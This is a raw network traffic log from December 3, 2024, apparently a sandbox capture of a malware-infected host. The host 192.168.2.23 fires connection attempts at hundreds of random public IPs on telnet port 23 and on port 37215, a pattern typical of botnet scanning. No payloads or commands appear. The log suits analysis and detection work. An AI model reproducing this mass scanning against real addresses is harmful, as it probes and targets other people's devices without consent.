Dec 3, 2024 21:01:58.976380110 CET	19873	23	192.168.2.23	5.33.172.92
Dec 3, 2024 21:01:58.976382017 CET	19873	23	192.168.2.23	107.193.9.101
Dec 3, 2024 21:01:58.976391077 CET	19873	23	192.168.2.23	174.175.115.25
Dec 3, 2024 21:01:58.976397991 CET	19873	23	192.168.2.23	223.68.111.234
Dec 3, 2024 21:01:58.976402044 CET	19873	23	192.168.2.23	81.72.168.181
Dec 3, 2024 21:01:58.976408958 CET	19873	23	192.168.2.23	188.121.26.0
Dec 3, 2024 21:01:58.976411104 CET	19873	23	192.168.2.23	41.50.248.210
Dec 3, 2024 21:01:58.976413965 CET	19873	23	192.168.2.23	220.133.117.95
Dec 3, 2024 21:01:58.976417065 CET	19873	23	192.168.2.23	165.158.213.65
Dec 3, 2024 21:01:58.976417065 CET	19873	23	192.168.2.23	122.123.97.158
Dec 3, 2024 21:01:58.976421118 CET	19873	23	192.168.2.23	145.47.29.84
Dec 3, 2024 21:01:58.976427078 CET	19873	23	192.168.2.23	208.239.40.150
Dec 3, 2024 21:01:58.976434946 CET	19873	23	192.168.2.23	12.203.184.148
Dec 3, 2024 21:01:58.976438999 CET	19873	23	192.168.2.23	84.23.207.207
Dec 3, 2024 21:01:58.976440907 CET	19873	23	192.168.2.23	212.155.215.145
Dec 3, 2024 21:01:58.976443052 CET	19873	23	192.168.2.23	152.64.90.124
Dec 3, 2024 21:01:58.976445913 CET	19873	23	192.168.2.23	155.211.201.195
Dec 3, 2024 21:01:58.976447105 CET	19873	23	192.168.2.23	14.175.230.166
Dec 3, 2024 21:01:58.976458073 CET	19873	23	192.168.2.23	211.80.34.101
Dec 3, 2024 21:01:58.976459026 CET	19873	23	192.168.2.23	124.70.211.197
Dec 3, 2024 21:01:58.976459980 CET	19873	23	192.168.2.23	202.189.136.143
Dec 3, 2024 21:01:58.976469994 CET	19873	23	192.168.2.23	131.59.207.20
Dec 3, 2024 21:01:58.976485968 CET	19873	23	192.168.2.23	199.234.70.109
Dec 3, 2024 21:01:58.976488113 CET	19873	23	192.168.2.23	159.222.33.200
Dec 3, 2024 21:01:58.976491928 CET	19873	23	192.168.2.23	156.221.221.102
Dec 3, 2024 21:01:58.976492882 CET	19873	23	192.168.2.23	170.119.244.76
Dec 3, 2024 21:01:58.976491928 CET	19873	23	192.168.2.23	177.244.31.250
Dec 3, 2024 21:01:58.976491928 CET	19873	23	192.168.2.23	81.127.117.246
Dec 3, 2024 21:01:58.976494074 CET	19873	23	192.168.2.23	57.254.174.178
Dec 3, 2024 21:01:58.976505041 CET	19873	23	192.168.2.23	50.87.62.209
Dec 3, 2024 21:01:58.976506948 CET	19873	23	192.168.2.23	203.2.105.53
Dec 3, 2024 21:01:58.976517916 CET	19873	23	192.168.2.23	77.113.185.35
Dec 3, 2024 21:01:58.976526022 CET	19873	23	192.168.2.23	118.184.109.255
Dec 3, 2024 21:01:58.976531029 CET	19873	23	192.168.2.23	95.246.207.254
Dec 3, 2024 21:01:58.976540089 CET	19873	23	192.168.2.23	137.144.15.146
Dec 3, 2024 21:01:58.976548910 CET	19873	23	192.168.2.23	141.129.161.163
Dec 3, 2024 21:01:58.976550102 CET	19873	23	192.168.2.23	176.251.217.212
Dec 3, 2024 21:01:58.976555109 CET	19873	23	192.168.2.23	169.1.255.182
Dec 3, 2024 21:01:58.976564884 CET	19873	23	192.168.2.23	40.187.254.114
Dec 3, 2024 21:01:58.976569891 CET	19873	23	192.168.2.23	139.2.123.207
Dec 3, 2024 21:01:58.976577997 CET	19873	23	192.168.2.23	79.76.19.47
Dec 3, 2024 21:01:58.976592064 CET	19873	23	192.168.2.23	203.219.53.5
Dec 3, 2024 21:01:58.976589918 CET	19873	23	192.168.2.23	122.210.90.132
Dec 3, 2024 21:01:58.976596117 CET	19873	23	192.168.2.23	112.1.166.211
Dec 3, 2024 21:01:58.976594925 CET	23	34614	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.976612091 CET	19873	23	192.168.2.23	115.77.163.200
Dec 3, 2024 21:01:58.976612091 CET	19873	23	192.168.2.23	98.174.230.96
Dec 3, 2024 21:01:58.976617098 CET	19873	23	192.168.2.23	182.237.118.242
Dec 3, 2024 21:01:58.976619959 CET	19873	23	192.168.2.23	189.196.38.162
Dec 3, 2024 21:01:58.976630926 CET	19873	23	192.168.2.23	166.30.206.244
Dec 3, 2024 21:01:58.976635933 CET	19873	23	192.168.2.23	166.90.243.160
Dec 3, 2024 21:01:58.976644039 CET	19873	23	192.168.2.23	105.76.236.234
Dec 3, 2024 21:01:58.976650000 CET	19873	23	192.168.2.23	107.23.143.62
Dec 3, 2024 21:01:58.976653099 CET	19873	23	192.168.2.23	122.168.93.83
Dec 3, 2024 21:01:58.976659060 CET	19873	23	192.168.2.23	35.162.216.92
Dec 3, 2024 21:01:58.976667881 CET	19873	23	192.168.2.23	110.247.191.67
Dec 3, 2024 21:01:58.976677895 CET	19873	23	192.168.2.23	162.110.50.214
Dec 3, 2024 21:01:58.976677895 CET	19873	23	192.168.2.23	186.47.120.148
Dec 3, 2024 21:01:58.976677895 CET	19873	23	192.168.2.23	169.225.11.253
Dec 3, 2024 21:01:58.976679087 CET	19873	23	192.168.2.23	48.140.251.46
Dec 3, 2024 21:01:58.976684093 CET	19873	23	192.168.2.23	69.34.86.252
Dec 3, 2024 21:01:58.976685047 CET	19873	23	192.168.2.23	210.171.151.101
Dec 3, 2024 21:01:58.976686954 CET	19873	23	192.168.2.23	23.210.252.98
Dec 3, 2024 21:01:58.976696014 CET	19873	23	192.168.2.23	74.16.104.211
Dec 3, 2024 21:01:58.976697922 CET	19873	23	192.168.2.23	143.7.30.58
Dec 3, 2024 21:01:58.976701021 CET	19873	23	192.168.2.23	91.211.58.90
Dec 3, 2024 21:01:58.976716042 CET	19873	23	192.168.2.23	128.229.86.254
Dec 3, 2024 21:01:58.976716042 CET	19873	23	192.168.2.23	61.60.101.169
Dec 3, 2024 21:01:58.976726055 CET	19873	23	192.168.2.23	168.165.127.247
Dec 3, 2024 21:01:58.976727009 CET	19873	23	192.168.2.23	109.153.147.127
Dec 3, 2024 21:01:58.976757050 CET	19873	23	192.168.2.23	128.75.85.235
Dec 3, 2024 21:01:58.976777077 CET	19873	23	192.168.2.23	59.2.99.199
Dec 3, 2024 21:01:58.976778030 CET	19873	23	192.168.2.23	207.72.231.239
Dec 3, 2024 21:01:58.976778030 CET	19873	23	192.168.2.23	2.113.90.29
Dec 3, 2024 21:01:58.976778984 CET	19873	23	192.168.2.23	116.151.94.37
Dec 3, 2024 21:01:58.976780891 CET	19873	23	192.168.2.23	155.133.69.223
Dec 3, 2024 21:01:58.976782084 CET	19873	23	192.168.2.23	62.72.210.174
Dec 3, 2024 21:01:58.976784945 CET	19873	23	192.168.2.23	40.5.242.85
Dec 3, 2024 21:01:58.976846933 CET	19873	23	192.168.2.23	187.190.244.99
Dec 3, 2024 21:01:58.976871967 CET	23	34652	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.976886034 CET	19873	23	192.168.2.23	163.127.133.76
Dec 3, 2024 21:01:58.976886034 CET	19873	23	192.168.2.23	167.11.252.201
Dec 3, 2024 21:01:58.976886034 CET	19873	23	192.168.2.23	174.117.237.202
Dec 3, 2024 21:01:58.976886034 CET	19873	23	192.168.2.23	73.115.32.219
Dec 3, 2024 21:01:58.976886034 CET	19873	23	192.168.2.23	216.121.240.96
Dec 3, 2024 21:01:58.976888895 CET	19873	23	192.168.2.23	35.178.107.143
Dec 3, 2024 21:01:58.976888895 CET	19873	23	192.168.2.23	198.99.52.210
Dec 3, 2024 21:01:58.976888895 CET	19873	23	192.168.2.23	19.218.241.107
Dec 3, 2024 21:01:58.976888895 CET	19873	23	192.168.2.23	69.212.36.247
Dec 3, 2024 21:01:58.976888895 CET	19873	23	192.168.2.23	217.5.79.43
Dec 3, 2024 21:01:58.976888895 CET	19873	23	192.168.2.23	34.201.69.132
Dec 3, 2024 21:01:58.976892948 CET	19873	23	192.168.2.23	76.77.100.41
Dec 3, 2024 21:01:58.976892948 CET	19873	23	192.168.2.23	100.137.17.235
Dec 3, 2024 21:01:58.976892948 CET	19873	23	192.168.2.23	182.223.207.193
Dec 3, 2024 21:01:58.976892948 CET	19873	23	192.168.2.23	103.206.40.72
Dec 3, 2024 21:01:58.976897001 CET	19873	23	192.168.2.23	113.129.196.114
Dec 3, 2024 21:01:58.976897001 CET	19873	23	192.168.2.23	175.147.134.35
Dec 3, 2024 21:01:58.976897955 CET	19873	23	192.168.2.23	150.188.182.132
Dec 3, 2024 21:01:58.976897001 CET	19873	23	192.168.2.23	150.154.59.254
Dec 3, 2024 21:01:58.976897955 CET	19873	23	192.168.2.23	194.168.174.247
Dec 3, 2024 21:01:58.976902008 CET	19873	23	192.168.2.23	216.150.213.52
Dec 3, 2024 21:01:58.976900101 CET	19873	23	192.168.2.23	41.214.107.218
Dec 3, 2024 21:01:58.976897955 CET	19873	23	192.168.2.23	94.19.49.67
Dec 3, 2024 21:01:58.976902008 CET	19873	23	192.168.2.23	119.254.149.66
Dec 3, 2024 21:01:58.976898909 CET	19873	23	192.168.2.23	20.241.181.171
Dec 3, 2024 21:01:58.976897955 CET	19873	23	192.168.2.23	36.206.150.91
Dec 3, 2024 21:01:58.976907969 CET	19873	23	192.168.2.23	116.5.131.200
Dec 3, 2024 21:01:58.976902008 CET	19873	23	192.168.2.23	213.166.68.39
Dec 3, 2024 21:01:58.976898909 CET	19873	23	192.168.2.23	142.233.197.45
Dec 3, 2024 21:01:58.976897955 CET	19873	23	192.168.2.23	78.55.228.202
Dec 3, 2024 21:01:58.976900101 CET	19873	23	192.168.2.23	64.240.189.6
Dec 3, 2024 21:01:58.976898909 CET	19873	23	192.168.2.23	9.88.176.53
Dec 3, 2024 21:01:58.976902008 CET	19873	23	192.168.2.23	177.200.218.214
Dec 3, 2024 21:01:58.976900101 CET	19873	23	192.168.2.23	147.100.193.198
Dec 3, 2024 21:01:58.976902008 CET	19873	23	192.168.2.23	68.116.89.207
Dec 3, 2024 21:01:58.976900101 CET	19873	23	192.168.2.23	106.87.67.55
Dec 3, 2024 21:01:58.976902008 CET	19873	23	192.168.2.23	31.226.176.2
Dec 3, 2024 21:01:58.976916075 CET	19873	23	192.168.2.23	145.53.65.107
Dec 3, 2024 21:01:58.976900101 CET	19873	23	192.168.2.23	85.48.164.82
Dec 3, 2024 21:01:58.976918936 CET	19873	23	192.168.2.23	145.6.184.244
Dec 3, 2024 21:01:58.976917982 CET	19873	23	192.168.2.23	210.121.183.68
Dec 3, 2024 21:01:58.976913929 CET	19873	23	192.168.2.23	108.53.247.167
Dec 3, 2024 21:01:58.976922035 CET	19873	23	192.168.2.23	81.187.168.186
Dec 3, 2024 21:01:58.976916075 CET	19873	23	192.168.2.23	151.48.150.177
Dec 3, 2024 21:01:58.976900101 CET	19873	23	192.168.2.23	206.243.147.235
Dec 3, 2024 21:01:58.976902008 CET	19873	23	192.168.2.23	178.89.135.41
Dec 3, 2024 21:01:58.976913929 CET	19873	23	192.168.2.23	49.221.93.203
Dec 3, 2024 21:01:58.976902008 CET	19873	23	192.168.2.23	141.129.55.11
Dec 3, 2024 21:01:58.976913929 CET	19873	23	192.168.2.23	154.57.110.161
Dec 3, 2024 21:01:58.976913929 CET	19873	23	192.168.2.23	58.177.47.46
Dec 3, 2024 21:01:58.976913929 CET	19873	23	192.168.2.23	188.152.55.190
Dec 3, 2024 21:01:58.976913929 CET	19873	23	192.168.2.23	40.10.203.250
Dec 3, 2024 21:01:58.976933956 CET	19873	23	192.168.2.23	182.216.209.208
Dec 3, 2024 21:01:58.976937056 CET	19873	23	192.168.2.23	77.85.165.98
Dec 3, 2024 21:01:58.976937056 CET	19873	23	192.168.2.23	217.80.22.131
Dec 3, 2024 21:01:58.976937056 CET	34652	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.976937056 CET	19873	23	192.168.2.23	213.66.67.89
Dec 3, 2024 21:01:58.977437973 CET	23	39766	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.977716923 CET	23	39804	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.977758884 CET	39804	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.978178024 CET	23	46060	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.978616953 CET	23	46098	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.978671074 CET	46098	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.978800058 CET	23	52500	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.979130983 CET	23	52538	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.979171991 CET	52538	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.979712009 CET	23	50572	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.979868889 CET	23	50610	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.979913950 CET	50610	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.983612061 CET	23	38624	45.252.170.0	192.168.2.23
Dec 3, 2024 21:01:58.983690023 CET	38624	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:58.984093904 CET	38662	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:59.008265972 CET	23	45690	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.008663893 CET	23	45728	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.008719921 CET	45728	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.015947104 CET	23	59822	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:59.016005039 CET	59822	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:59.016427040 CET	59860	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:59.035468102 CET	23	45606	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:59.035558939 CET	23	53064	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.035623074 CET	53064	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.035798073 CET	23	45644	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:59.035845995 CET	45644	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:59.035980940 CET	53102	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.036274910 CET	23	36520	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:59.036521912 CET	23	36558	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:59.036569118 CET	36558	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:59.037034988 CET	23	46352	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:59.037442923 CET	23	46390	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:59.037497997 CET	46390	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:59.038073063 CET	23	42414	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:59.038378954 CET	23	42452	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:59.038427114 CET	42452	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:59.041553974 CET	23	49450	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.041646004 CET	49450	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.042013884 CET	49488	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.051780939 CET	23	41464	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.052062988 CET	23	47368	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.052113056 CET	23	41502	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.052134991 CET	47368	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.052145004 CET	41502	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.052633047 CET	47406	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.062585115 CET	23	59444	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.062668085 CET	59444	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.062995911 CET	59482	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.067732096 CET	23	60104	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.068274021 CET	23	60142	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.068350077 CET	60142	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.086148024 CET	23	50420	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.086167097 CET	23	59738	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.086219072 CET	50420	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.086221933 CET	59738	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.095513105 CET	23	19873	86.152.200.53	192.168.2.23
Dec 3, 2024 21:01:59.095530987 CET	23	19873	146.247.222.191	192.168.2.23
Dec 3, 2024 21:01:59.095542908 CET	23	19873	143.18.168.110	192.168.2.23
Dec 3, 2024 21:01:59.095552921 CET	23	19873	34.234.104.13	192.168.2.23
Dec 3, 2024 21:01:59.095563889 CET	23	19873	160.111.47.195	192.168.2.23
Dec 3, 2024 21:01:59.095573902 CET	23	19873	93.192.119.219	192.168.2.23
Dec 3, 2024 21:01:59.095578909 CET	23	19873	91.172.83.189	192.168.2.23
Dec 3, 2024 21:01:59.095577955 CET	19873	23	192.168.2.23	86.152.200.53
Dec 3, 2024 21:01:59.095581055 CET	19873	23	192.168.2.23	143.18.168.110
Dec 3, 2024 21:01:59.095585108 CET	19873	23	192.168.2.23	146.247.222.191
Dec 3, 2024 21:01:59.095597982 CET	19873	23	192.168.2.23	34.234.104.13
Dec 3, 2024 21:01:59.095607996 CET	23	19873	199.211.131.103	192.168.2.23
Dec 3, 2024 21:01:59.095619917 CET	23	19873	23.215.153.90	192.168.2.23
Dec 3, 2024 21:01:59.095629930 CET	23	19873	153.69.151.17	192.168.2.23
Dec 3, 2024 21:01:59.095642090 CET	23	53394	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.095653057 CET	23	19873	106.56.192.51	192.168.2.23
Dec 3, 2024 21:01:59.095674992 CET	23	19873	71.55.252.42	192.168.2.23
Dec 3, 2024 21:01:59.095685959 CET	23	19873	132.227.119.60	192.168.2.23
Dec 3, 2024 21:01:59.095690966 CET	19873	23	192.168.2.23	91.172.83.189
Dec 3, 2024 21:01:59.095691919 CET	19873	23	192.168.2.23	23.215.153.90
Dec 3, 2024 21:01:59.095695019 CET	19873	23	192.168.2.23	160.111.47.195
Dec 3, 2024 21:01:59.095695019 CET	19873	23	192.168.2.23	93.192.119.219
Dec 3, 2024 21:01:59.095695019 CET	19873	23	192.168.2.23	153.69.151.17
Dec 3, 2024 21:01:59.095700026 CET	19873	23	192.168.2.23	199.211.131.103
Dec 3, 2024 21:01:59.095706940 CET	19873	23	192.168.2.23	71.55.252.42
Dec 3, 2024 21:01:59.095705032 CET	19873	23	192.168.2.23	106.56.192.51
Dec 3, 2024 21:01:59.095721006 CET	19873	23	192.168.2.23	132.227.119.60
Dec 3, 2024 21:01:59.095756054 CET	53394	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.096177101 CET	53432	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.097204924 CET	23	34652	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.097311974 CET	34652	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.097737074 CET	34690	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.097948074 CET	23	39804	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.098190069 CET	39804	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.098509073 CET	39842	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.098787069 CET	23	46098	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.099210024 CET	23	52538	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:59.099225044 CET	46098	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.099575996 CET	46136	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.100003958 CET	52538	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:59.100013018 CET	23	50610	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:59.100305080 CET	52576	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:59.100790977 CET	50610	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:59.101206064 CET	50648	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:59.103950024 CET	23	38624	45.252.170.0	192.168.2.23
Dec 3, 2024 21:01:59.129009008 CET	23	45728	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.129225016 CET	45728	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.129715919 CET	45766	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.136567116 CET	23	59822	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:59.136812925 CET	23	59860	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:59.136883974 CET	59860	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:59.155157089 CET	18849	37215	192.168.2.23	41.38.117.184
Dec 3, 2024 21:01:59.155157089 CET	18849	37215	192.168.2.23	197.130.92.159
Dec 3, 2024 21:01:59.155164003 CET	18849	37215	192.168.2.23	41.81.232.0
Dec 3, 2024 21:01:59.155164003 CET	18849	37215	192.168.2.23	197.174.145.217
Dec 3, 2024 21:01:59.155164003 CET	18849	37215	192.168.2.23	197.75.140.151
Dec 3, 2024 21:01:59.155164957 CET	18849	37215	192.168.2.23	197.155.146.255
Dec 3, 2024 21:01:59.155189037 CET	18849	37215	192.168.2.23	156.176.155.76
Dec 3, 2024 21:01:59.155194998 CET	18849	37215	192.168.2.23	41.43.20.214
Dec 3, 2024 21:01:59.155194998 CET	18849	37215	192.168.2.23	41.54.216.24
Dec 3, 2024 21:01:59.155205965 CET	18849	37215	192.168.2.23	41.168.106.98
Dec 3, 2024 21:01:59.155225039 CET	18849	37215	192.168.2.23	41.23.36.55
Dec 3, 2024 21:01:59.155225039 CET	18849	37215	192.168.2.23	156.31.4.228
Dec 3, 2024 21:01:59.155229092 CET	18849	37215	192.168.2.23	197.142.126.189
Dec 3, 2024 21:01:59.155246019 CET	18849	37215	192.168.2.23	156.118.35.157
Dec 3, 2024 21:01:59.155280113 CET	18849	37215	192.168.2.23	156.194.112.111
Dec 3, 2024 21:01:59.155282021 CET	18849	37215	192.168.2.23	41.200.143.33
Dec 3, 2024 21:01:59.155282021 CET	18849	37215	192.168.2.23	197.140.5.134
Dec 3, 2024 21:01:59.155282974 CET	18849	37215	192.168.2.23	41.11.41.140
Dec 3, 2024 21:01:59.155282974 CET	18849	37215	192.168.2.23	41.82.243.62
Dec 3, 2024 21:01:59.155282974 CET	18849	37215	192.168.2.23	156.187.157.44
Dec 3, 2024 21:01:59.155283928 CET	18849	37215	192.168.2.23	156.215.86.106
Dec 3, 2024 21:01:59.155287027 CET	18849	37215	192.168.2.23	41.222.251.247
Dec 3, 2024 21:01:59.155287027 CET	18849	37215	192.168.2.23	197.150.183.188
Dec 3, 2024 21:01:59.155288935 CET	18849	37215	192.168.2.23	156.95.75.180
Dec 3, 2024 21:01:59.155287027 CET	18849	37215	192.168.2.23	41.251.150.202
Dec 3, 2024 21:01:59.155288935 CET	18849	37215	192.168.2.23	41.127.64.208
Dec 3, 2024 21:01:59.155301094 CET	18849	37215	192.168.2.23	41.99.219.168
Dec 3, 2024 21:01:59.155301094 CET	18849	37215	192.168.2.23	197.127.36.100
Dec 3, 2024 21:01:59.155299902 CET	18849	37215	192.168.2.23	156.163.139.143
Dec 3, 2024 21:01:59.155299902 CET	18849	37215	192.168.2.23	197.138.21.86
Dec 3, 2024 21:01:59.155299902 CET	18849	37215	192.168.2.23	156.189.52.119
Dec 3, 2024 21:01:59.155307055 CET	18849	37215	192.168.2.23	41.34.133.158
Dec 3, 2024 21:01:59.155318975 CET	18849	37215	192.168.2.23	197.228.160.87
Dec 3, 2024 21:01:59.155318975 CET	18849	37215	192.168.2.23	197.255.243.107
Dec 3, 2024 21:01:59.155329943 CET	18849	37215	192.168.2.23	41.168.78.255
Dec 3, 2024 21:01:59.155329943 CET	18849	37215	192.168.2.23	156.99.170.53
Dec 3, 2024 21:01:59.155332088 CET	18849	37215	192.168.2.23	41.215.89.124
Dec 3, 2024 21:01:59.155359030 CET	18849	37215	192.168.2.23	156.216.150.90
Dec 3, 2024 21:01:59.155363083 CET	18849	37215	192.168.2.23	156.136.79.18
Dec 3, 2024 21:01:59.155364037 CET	18849	37215	192.168.2.23	156.242.33.218
Dec 3, 2024 21:01:59.155383110 CET	18849	37215	192.168.2.23	41.40.254.62
Dec 3, 2024 21:01:59.155384064 CET	18849	37215	192.168.2.23	41.244.67.104
Dec 3, 2024 21:01:59.155384064 CET	18849	37215	192.168.2.23	41.224.212.149
Dec 3, 2024 21:01:59.155385017 CET	18849	37215	192.168.2.23	156.204.221.226
Dec 3, 2024 21:01:59.155396938 CET	18849	37215	192.168.2.23	41.245.229.69
Dec 3, 2024 21:01:59.155405045 CET	18849	37215	192.168.2.23	41.240.195.55
Dec 3, 2024 21:01:59.155411959 CET	18849	37215	192.168.2.23	41.30.85.68
Dec 3, 2024 21:01:59.155414104 CET	18849	37215	192.168.2.23	156.143.67.255
Dec 3, 2024 21:01:59.155426025 CET	18849	37215	192.168.2.23	41.96.6.166
Dec 3, 2024 21:01:59.155426025 CET	18849	37215	192.168.2.23	41.157.87.196
Dec 3, 2024 21:01:59.155432940 CET	18849	37215	192.168.2.23	41.197.42.19
Dec 3, 2024 21:01:59.155452967 CET	18849	37215	192.168.2.23	41.112.79.148
Dec 3, 2024 21:01:59.155512094 CET	18849	37215	192.168.2.23	41.252.203.52
Dec 3, 2024 21:01:59.155512094 CET	18849	37215	192.168.2.23	41.20.16.221
Dec 3, 2024 21:01:59.155512094 CET	18849	37215	192.168.2.23	41.133.105.41
Dec 3, 2024 21:01:59.155512094 CET	18849	37215	192.168.2.23	41.158.8.43
Dec 3, 2024 21:01:59.155512094 CET	18849	37215	192.168.2.23	41.76.5.23
Dec 3, 2024 21:01:59.155510902 CET	18849	37215	192.168.2.23	41.249.147.113
Dec 3, 2024 21:01:59.155510902 CET	18849	37215	192.168.2.23	41.78.175.232
Dec 3, 2024 21:01:59.155514956 CET	18849	37215	192.168.2.23	197.21.6.52
Dec 3, 2024 21:01:59.155510902 CET	18849	37215	192.168.2.23	197.31.233.159
Dec 3, 2024 21:01:59.155514956 CET	18849	37215	192.168.2.23	156.88.149.69
Dec 3, 2024 21:01:59.155514956 CET	18849	37215	192.168.2.23	197.155.65.103
Dec 3, 2024 21:01:59.155519962 CET	18849	37215	192.168.2.23	41.168.247.213
Dec 3, 2024 21:01:59.155519962 CET	18849	37215	192.168.2.23	41.62.153.66
Dec 3, 2024 21:01:59.155527115 CET	18849	37215	192.168.2.23	41.85.77.241
Dec 3, 2024 21:01:59.155529022 CET	18849	37215	192.168.2.23	197.241.44.9
Dec 3, 2024 21:01:59.155540943 CET	18849	37215	192.168.2.23	156.90.26.101
Dec 3, 2024 21:01:59.155566931 CET	18849	37215	192.168.2.23	197.23.236.207
Dec 3, 2024 21:01:59.155566931 CET	18849	37215	192.168.2.23	156.24.156.239
Dec 3, 2024 21:01:59.155567884 CET	18849	37215	192.168.2.23	197.27.197.188
Dec 3, 2024 21:01:59.155567884 CET	18849	37215	192.168.2.23	41.138.205.176
Dec 3, 2024 21:01:59.155567884 CET	18849	37215	192.168.2.23	156.79.128.135
Dec 3, 2024 21:01:59.155586004 CET	18849	37215	192.168.2.23	197.237.154.171
Dec 3, 2024 21:01:59.155591011 CET	18849	37215	192.168.2.23	156.76.192.166
Dec 3, 2024 21:01:59.155596972 CET	18849	37215	192.168.2.23	41.123.14.43
Dec 3, 2024 21:01:59.155601978 CET	18849	37215	192.168.2.23	156.59.164.139
Dec 3, 2024 21:01:59.155608892 CET	18849	37215	192.168.2.23	197.51.201.246
Dec 3, 2024 21:01:59.155608892 CET	18849	37215	192.168.2.23	156.211.3.201
Dec 3, 2024 21:01:59.155633926 CET	18849	37215	192.168.2.23	156.239.124.8
Dec 3, 2024 21:01:59.155643940 CET	18849	37215	192.168.2.23	197.175.44.255
Dec 3, 2024 21:01:59.155651093 CET	18849	37215	192.168.2.23	41.172.25.241
Dec 3, 2024 21:01:59.155656099 CET	18849	37215	192.168.2.23	197.11.87.155
Dec 3, 2024 21:01:59.155657053 CET	18849	37215	192.168.2.23	41.159.141.85
Dec 3, 2024 21:01:59.155658007 CET	18849	37215	192.168.2.23	197.197.77.62
Dec 3, 2024 21:01:59.155663967 CET	18849	37215	192.168.2.23	156.252.197.253
Dec 3, 2024 21:01:59.155670881 CET	18849	37215	192.168.2.23	41.20.162.228
Dec 3, 2024 21:01:59.155682087 CET	18849	37215	192.168.2.23	197.81.208.113
Dec 3, 2024 21:01:59.155683041 CET	18849	37215	192.168.2.23	41.91.155.152
Dec 3, 2024 21:01:59.155683041 CET	18849	37215	192.168.2.23	156.188.253.194
Dec 3, 2024 21:01:59.155762911 CET	18849	37215	192.168.2.23	41.147.31.211
Dec 3, 2024 21:01:59.155762911 CET	18849	37215	192.168.2.23	197.143.153.176
Dec 3, 2024 21:01:59.155764103 CET	18849	37215	192.168.2.23	197.120.125.78
Dec 3, 2024 21:01:59.155762911 CET	18849	37215	192.168.2.23	197.33.49.130
Dec 3, 2024 21:01:59.155764103 CET	18849	37215	192.168.2.23	41.113.25.80
